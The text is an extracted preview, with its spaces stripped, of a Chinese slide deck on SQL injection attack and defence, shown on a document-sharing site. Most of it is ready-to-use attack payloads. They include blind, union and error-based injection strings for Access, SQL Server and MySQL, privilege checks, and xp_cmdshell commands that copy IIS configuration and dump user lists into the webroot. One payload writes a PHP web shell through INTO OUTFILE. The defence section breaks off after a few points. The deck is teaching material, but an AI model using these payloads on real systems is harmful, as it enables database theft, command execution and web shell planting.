SQL注入攻击与防御_第1页
SQL注入攻击与防御_第2页
SQL注入攻击与防御_第3页
SQL注入攻击与防御_第4页
SQL注入攻击与防御_第5页
已阅读5页,还剩17页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入攻击与防御SQL注入图像、语音、文字等数据(Data)在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等统称为数据。Access、MSSQL、Oracle、SQLITE、MySQL等数据库(Database)数据库是按照数据结构来组织、存储和管理数据的“仓库”。Access、MSSQL、Oracle、SQLITE、MySQL等数据库管理系统(DBMS)数据库管理系统(databasemanagementsystem)是一种操纵和管理数据库的软件,用于建立、使用和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。DQL、DDL、DML、TCL、DCL结构化查询语言(SQL)结构化查询语言(StructuredQueryLanguage)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。SQL注入这是一个Access数据库SQL注入静态网页:

html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。1.不依赖数据库2.灵活性差,制作、更新、维护麻烦3.交互性交差,在功能方面有较大的限制4.安全,不存在SQL注入漏洞动态网页:

asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。1.依赖数据库2.灵活性好,维护简便3.交互性好,功能强大4.存在安全风险,可能存在SQL注入漏洞SQL注入漏洞介绍

由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。原因分析

其本质是由于对输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。SQL注入SQL注入分类:按提交字符类型可分为:数字型

字符型

搜索型按HTTP提交方式可分为:GET、POST、Cookie按注入方式可分为:盲注、

union注入、报错注入、基于时间注入编码问题:宽字节注入SQL注入如何判断?1.单引号判断2.数字型注入判断①and1=1and1=2and1isnulland1isnotnullanduser>0②参数进行运算+1-1'+'→'%2B'3.字符型注入判断①'and'1'='1'and'1'='24.搜索型注入判断①test%'and1=1and'%'='test%'and1=2and'%'='SQL注入如何攻击?Access→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1asc(mid(id,1,1))fromadmin)>X无差异→构造差异andiif((1=1),2,'a')=2andiif((1=2),2,'a')=2SQL注入SqlServer注入→三种权限①SA权限可以利用MsSQL数据库自带的扩展存储(如:xp_cmdshell、xp_regwrite、sp_oacreate等)执行系统命令。②DB_OWNER权限具有对当前数据库的修改、删除、新增数据表以及执行xp_regread、xp_dirtree等部分存储过程的权限。差异备份获取Webshell。③PUBLIC权限权限最小,通常通过报错注入,盲注,从而获得后台管理员帐号密码。SQL注入如何判断权限?1.有错误回显①anduser>0

2.无错误回显①and1=(selectis_member('dbo'))//网页返回正常,说明数据库管理权限为sa②and1=(selectis_member('db_owner'))//网页返回正常,说明数据库管理权限为db_owner③and1=(selectis_member('public'))//网页返回正常,说明数据库管理权限为publicSQL注入SqlServer→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1ascii(substring(password,1,1))fromadmin)>XSQL注入SqlServer→报错当前数据库有哪些表and(selecttop1namefromsysobjects)=1and(selecttop1namefromsysobjectswherenamenotin('admin','bigclass'))=1表中的字段and(selecttop1col_name(object_id('admin'),1)fromsysobjects)=1字段的值and(selecttop1passwordfromadmin)=1SQL注入SqlServer(sa权限)→关闭错误提示获取Web路径①win2003execmaster..xp_cmdshell'copyC:\Windows\system32\inetsrv\MetaBase.xmlC:\Windows\Help\iisHelp\common\404.html'--②win2000execmaster..xp_cmdshell'copyC:\Winnt\system32\inetsrv\MetaBase.xmlC:\Winnt\Help\iisHelp\common\404.html'--SQL注入SqlServer(sa权限)→关闭错误提示执行命令得到回显①win2003execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt'--②win2000execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt--SQL注入MySQL注入获取查询的字段数→orderbyN数据库名→and1=2unionselect1,SCHEMA_NAMEfrominformation_schema.SCHEMATAlimitN,1表名→and1=2unionselect1,TABLE_NAMEfrominformation_schema.TABLESwhereTABLE_SCHEMA=库HEX值limitN,1字段→and1=2unionselect1,COLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=表名HEX值limitN,1连接字段→group_concat()SQL注入MySQL通用报错and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)%23SQL注入MySQL写文件①必须知道网站的绝对路径,这样才能写对目录;②Mysql的版本在4.0以上,才能使用union进行联合查询;③PHP配置文件php.ini中的magic_quotes_gpc=off,没有对单引号进行过滤;④Mysql数据库当前用户拥有file_priv权限;⑤“Network”组的用户对网站目录有写权(windows操作系统下网站目录一般都具有该权限)。SQL注入MySQL写文件/test.php?id=6and1=2unionselect1,2,'<?phpsystem($_REQUEST[cmd]);?>',4,5,6intooutfile'C:/apache/htdocs/site/shell.php'导出shell的新方式,不需要union协助select*fromtablelimit1intooutfile"d:/test.txt"linesterminatedby"<?phpeval($cmd)?>"SQL注入自动化注入工具→SqlMapSQL注入自动化注入工具→PangolinSQL注入如何防范?①对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。②严格限制变量类型,比如整型变量就采用intval()函数过滤,数据库中的存储字段必须对应为int型。③数据长度应该严格规

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论